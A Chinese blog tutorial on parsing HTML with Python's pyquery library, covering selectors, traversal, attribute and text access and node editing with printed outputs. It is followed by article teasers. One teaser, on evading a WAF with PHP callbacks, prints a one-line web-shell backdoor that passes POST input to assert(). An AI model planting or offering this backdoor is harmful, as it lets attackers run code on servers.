• 简单举例

     from pyquery import PyQuery as pq
    
     html = '''
    <div>
    <ul>
    <li class="item-O"><a href="linkl.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </ul>
    </div>
    ''' doc = pq(html)
    print(doc) # 输出:
    <div>
    <ul>
    <li class="item-O"><a href="linkl.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </li></ul>
    </div>

    字符串

     from pyquery import PyQuery as pq
    import requests # doc1 与 doc2 功能相同
    doc1 = pq(url='https://www.cnblogs.com/liyihua/')
    print(doc1('title')) doc2 = pq(requests.get('https://www.cnblogs.com/liyihua/').text)
    print(doc1('title')) # 输出:
    <title>李亦华 - 博客园</title>&#13; <title>李亦华 - 博客园</title>&#13;

    URL

     from pyquery import PyQuery as pq
    
     doc = pq(filename='test.html')
    print(doc('li')) # 输出:
    <li class="item-O"><a href="linkl.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </li> # 文件内容:
    <div>
    <ul>
    <li class="item-O"><a href="linkl.html">first item</a></li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-inactive"><a href="link3.html">third item</a></li>
    <li class="item-1"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a>
    </ul>
    </div>

    文件

  • 基本CSS选择器

     from pyquery import PyQuery as pq
    
     html = '''
    <div id="container">
    <ul class="list">
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>
    ''' doc = pq(html)
    print(doc('#container .list li')) print(
    type(
    doc('#container .list li')
    )
    ) # 输出:
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li> <class 'pyquery.pyquery.PyQuery'>
  • 查找节点

    •  from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html)
      items = doc('.list') print(
      type(items),
      items,
      sep='\n'
      ) print(
      type(items.find('li')),
      items.find('li'),
      sep='\n'
      ) # 输出:
      <class 'pyquery.pyquery.PyQuery'>
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul> <class 'pyquery.pyquery.PyQuery'>
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>

      子孙节点----find()方法

      # find()方法查找的是所有子孙节点,如果只查找子节点,可以使用children()方法

       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html)
      items = doc('.list') print(items, '\n') print(
      type(items.parent()),
      items.parent(),
      sep='\n'
      ) # 输出:
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul> <class 'pyquery.pyquery.PyQuery'>
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>

      父节点----parent()方法

      parents(selector=None)
      parent(selector=None)
       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html) # 选择class为list的节点内部class为item-0和active的节点
      items = doc('.list .item-0.active') print(
      type(items.siblings()),
      items.siblings(),
      sep='\n'
      ) print("\n", items.siblings('.active')) # 输出:
      <class 'pyquery.pyquery.PyQuery'>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0">first item</li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li> <li class="item-1 active"><a href="link4.html">fourth item</a></li>

      兄弟节点----siblings()方法


  • 遍历

     from pyquery import PyQuery
    
     html = '''
    <div id="container">
    <ul class="list">
    <li class="item-0">first item</li>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    </ul>
    </div>
    ''' doc = PyQuery(html)
    lis = doc('li').items() # 调用items()方法,得到一个生成器 for li in lis:
    print(
    li,
    type(li)
    ) # 输出:
    <li class="item-0">first item</li>
    <class 'pyquery.pyquery.PyQuery'>
    <li class="item-1"><a href="link2.html">second item</a></li>
    <class 'pyquery.pyquery.PyQuery'>
    <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    <class 'pyquery.pyquery.PyQuery'>
    <li class="item-1 active"><a href="link4.html">fourth item</a></li>
    <class 'pyquery.pyquery.PyQuery'>
    <li class="item-0"><a href="link5.html">fifth item</a></li>
    <class 'pyquery.pyquery.PyQuery'>

    遍历----items()

  • 获取信息

    • 获取属性

      attr()方法获取属性
       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html)
      a = doc('.item-0.active a')
      print(
      a,
      type(a),
      a.attr('href'), # 也可以用a.attr.href,两者作用相同
      sep='\n'
      ) # 输出:
      <a href="link3.html"><span class="bold">third item</span></a>
      <class 'pyquery.pyquery.PyQuery'>
      link3.html
      # 当返回结果包含多个节点时,调用attr()方法,只会得到第一个节点的属性。如果想获取所有返回的节点的属性,就要用到遍历了
    • 获取文本

       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html)
      li = doc('li') print(
      li.html(), # 获取节点的内部文本
      li.text(), # 获取节点文本,返回结果是纯文字内容
      type(li.text()),
      sep='\n'
      ) # 输出:
      first item
      first item second item third item fourth item fifth item
      <class 'str'>
  • 节点操作

    • add_class() 和 remove_class() ---- 添加class、移除class

       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html)
      li = doc('.item-0.active') print(li)
      print(li.remove_class('active'))
      print(li.add_class('active')) # 输出:
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li> <li class="item-0"><a href="link3.html"><span class="bold">third item</span></a></li> <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
    • attr、text 和 html

      # attr(*args, **kwargs) ---- Attributes manipulation
      # text(value=no_default, **kwargs) ---- Get or set the text representation of sub nodes.
      # html(value=no_default, **kwargs) ---- Get or set the html representation of sub nodes.
       from pyquery import PyQuery
      
       html = '''
      <div id="container">
      <ul class="list">
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      </ul>
      </div>
      ''' doc = PyQuery(html) li = doc('.item-0.active')
      print(li) li.attr('name', 'link') # 添加属性name,属性值为link
      print(li) li.text('change item') # 将节点内部的内容改为'change item'
      print(li) li.html('<span>change item</span>') # 将节点内部的内容改为'<span>change item</span>'
      print(li) # 输出:
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li> <li class="item-0 active" name="link"><a href="link3.html"><span class="bold">third item</span></a></li> <li class="item-0 active" name="link">change item</li> <li class="item-0 active" name="link"><span>change item</span></li>
    • remove()----删除节点

       from pyquery import PyQuery
      
       html = '''
      <div class="LeeHua">
      LiYihua
      <ul class="201802004731">liyihua</ul>
      </div>
      ''' doc = PyQuery(html)
      Leehua = doc('.LeeHua')
      print("移除节点ul前的输出:\n"+Leehua.text()) Leehua.find('ul').remove()
      print("移除节点ul后的输出:\n"+Leehua.text()) # 输出:
      移除节点ul前的输出:
      LiYihua
      liyihua
      移除节点ul后的输出:
      LiYihua
  • 伪类选择器

    • 示例:

       from pyquery import PyQuery
      
       html = '''
      <div class="wrap">
      <div id="container">
      <ul class="list">
      <li class="item-0">first item</li>
      <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-0 active"><a href="link3.html"><span class="bold">third item</span></a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li>
      </ul>
      </div>
      </div>
      ''' doc = PyQuery(html) # 选择属于父元素的第一个子元素的每个 <li> 元素。
      li = doc('li:first-child')
      print(li) # 选择属于父元素的最后一个子元素的每个 <li> 元素。
      li = doc('li:last-child')
      print(li) # 选择属于其父元素的第二个子元素的每个 <li> 元素
      li = doc('li:nth-child(2)')
      print(li) # 选择属于其父元素的最后两个子元素的每个 <li> 元素
      li = doc('li:gt(2)')
      print(li) # 选择属于父元素的第偶个子元素的每个 <li> 元素。
      li = doc('li:nth-child(2n)')
      print(li) # 选择包含'second'的每个元素
      li = doc('li:contains(second)')
      print(li) # 输出:
      <li class="item-0">first item</li> <li class="item-0"><a href="link5.html">fifth item</a></li> <li class="item-1"><a href="link2.html">second item</a></li> <li class="item-1 active"><a href="link4.html">fourth item</a></li>
      <li class="item-0"><a href="link5.html">fifth item</a></li> <li class="item-1"><a href="link2.html">second item</a></li>
      <li class="item-1 active"><a href="link4.html">fourth item</a></li> <li class="item-1"><a href="link2.html">second item</a></li>

      CSS 选择器的用法:http://www.w3school.com.cn/cssref/css_selectors.asp

使用pyquery的更多相关文章

  1. pyquery的问题

    在使用pyquery时发现一些问题, 1.爬取的html中如果有较多的错误时,不能很好的补全. 2.如果要获取某个class中的内容时,如果内容太多不能取完整!只能取一部分. 这个在现在的最新版本中还 ...

  2. python爬虫神器PyQuery的使用方法

    你是否觉得 XPath 的用法多少有点晦涩难记呢? 你是否觉得 BeautifulSoup 的语法多少有些悭吝难懂呢? 你是否甚至还在苦苦研究正则表达式却因为少些了一个点而抓狂呢? 你是否已经有了一些 ...

  3. windows下python安装pyquery

    安装pyquery之前首先要明确一点,easyinstall 是一款python包管理器,类似于node的npm,用于安装python的扩展包,它安装的包是以*.egg的方式. 要安装pq需要经历以下 ...

  4. Python开发包推荐系列之xml、html解析器PyQuery

    使用python,喜欢她的简洁是一方面,另外就是它有着丰富的开发包 好用又方便 接下来会给大家推荐一系列很赞的开发包. 在解析html.xml过程中,我们有不少的包可以用.比如bs.lxml.xmlt ...

  5. python - PyQuery

    偶尔的机会,知道这么个扩展,手贱翻了下文档,发现似乎挺有意思,遂记录一二. what: 这是一个python版本的jquery,而且是后端执行的,至少官方是这么说的: pyquery allows y ...

  6. 【pyQuery】抓取startup news首页

    #! /usr/bin/python # coding: utf-8 from pyquery import PyQuery c=PyQuery('http://news.dbanotes.net/' ...

  7. 【pyQuery分析实例】分析体育网冠军联盟比赛成绩

    目标地址:http://www.espncricinfo.com/champions-league-twenty20-2012/engine/match/574265.html liz@nb-liz: ...

  8. 【PyQuery】PyQuery总结

    pyquery库是jQuery的Python实现,可以用于解析HTML网页内容, 官方文档地址是:http://packages.python.org/pyquery/. 二.使用方法 ? 1 fro ...

  9. win7下python安装pyquery

    安装pyquery之前首先要明确一点,easyinstall 是一款python包管理器,类似于node的npm,用于安装python的扩展包,它安装的包是以*.egg的方式. 要安装pq需要经历以下 ...

  10. Python抓取页面中超链接(URL)的三中方法比较(HTMLParser、pyquery、正则表达式) <转>

    Python抓取页面中超链接(URL)的3中方法比较(HTMLParser.pyquery.正则表达式) HTMLParser版: #!/usr/bin/python # -*- coding: UT ...

随机推荐

  1. .Net Core与Vue.js模块化前后端分离快速开发解决方案(NetModular)

    NetModular是什么? NetModular不仅仅是一个框架,它也是一整套的模块化与前后端分离的快速开发的解决方案,目标是致力于开箱即用,让开发人员完全专注于业务开发,不需要关心底层封装和实现. ...

  2. 扛住阿里双十一高并发流量,Sentinel是怎么做到的?

    Sentinel 承接了阿里巴巴近 10 年的双十一大促流量的核心场景 本文介绍阿里开源限流熔断方案Sentinel功能.原理.架构.快速入门以及相关框架比较 基本介绍 1 名词解释 服务限流 :当系 ...

  3. 将jar包发布到maven的中央仓库细节整理

    在学习springboot框架的时候,会引入各种各样的starter依赖,照着教程尝试写了个demo-spring-boot-stater,可以理解为一个组件,随引随用 但是只能自己引用,无法共享,于 ...

  4. 杂谈:开发人员如何进行复杂业务的学习?让boss刮目相看

    一点小拙见,欢迎指正 一.概述 大型复杂的软件系统,是有许多人共同协作完成的,有些产品的业务是很复杂的,其在需求文档,及开发规范上都做得很好,不然维护的人越多,没有文档和规范去限制,岂不更加乱套. 如 ...

  5. cocos2d-x C++ 工程初探

    经过较为繁琐的环境搭建后,我们终于运行出了一个helloworld窗口,可以正式上手cocos了 现在我们就从改代码开始玩起 窗口 我们之前讲到AppDelegate类是程序的入口,所以和窗口有关的设 ...

  6. CSS3属性—— line-clamp控制文本行数

    说明: 限制在一个块元素显示的文本的行数. -webkit-line-clamp 是一个 不规范的属性(unsupported WebKit property),它没有出现在 CSS 规范草案中. 为 ...

  7. PhpSpreadsheet 导出特定格式 — 广告请款单

    需求说明 最近需要实现一个导出这种格式的Excel表单,之前都有用过导出Excel的功能,但大都是表头+数据的形式,只用于获取数据,没有太多样式要求,不用合并单元格.合并居中等,也不用对每一行数据特异 ...

  8. 【干货系列之萌新知识点】python与变量和运算符

    一.注释 注释一行:# 为注释符 注释多行:'或者"为注释符 二.print输出 print()函数,作用是打印一些信息语屏幕上. 例如:print("hello world!&q ...

  9. PHP后门之冷门回调函数(过waf)

    header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; ...

  10. 在Ubuntu16.0.4安装hipcaffe

    1. 安装 AMD ROCm 显卡条件 要安装AMD的 ROCm显卡,必须满足以下条件,只能高于下面信息版本,不能低于. Distribution Kernel GCC GLIBC x86_64 Fe ...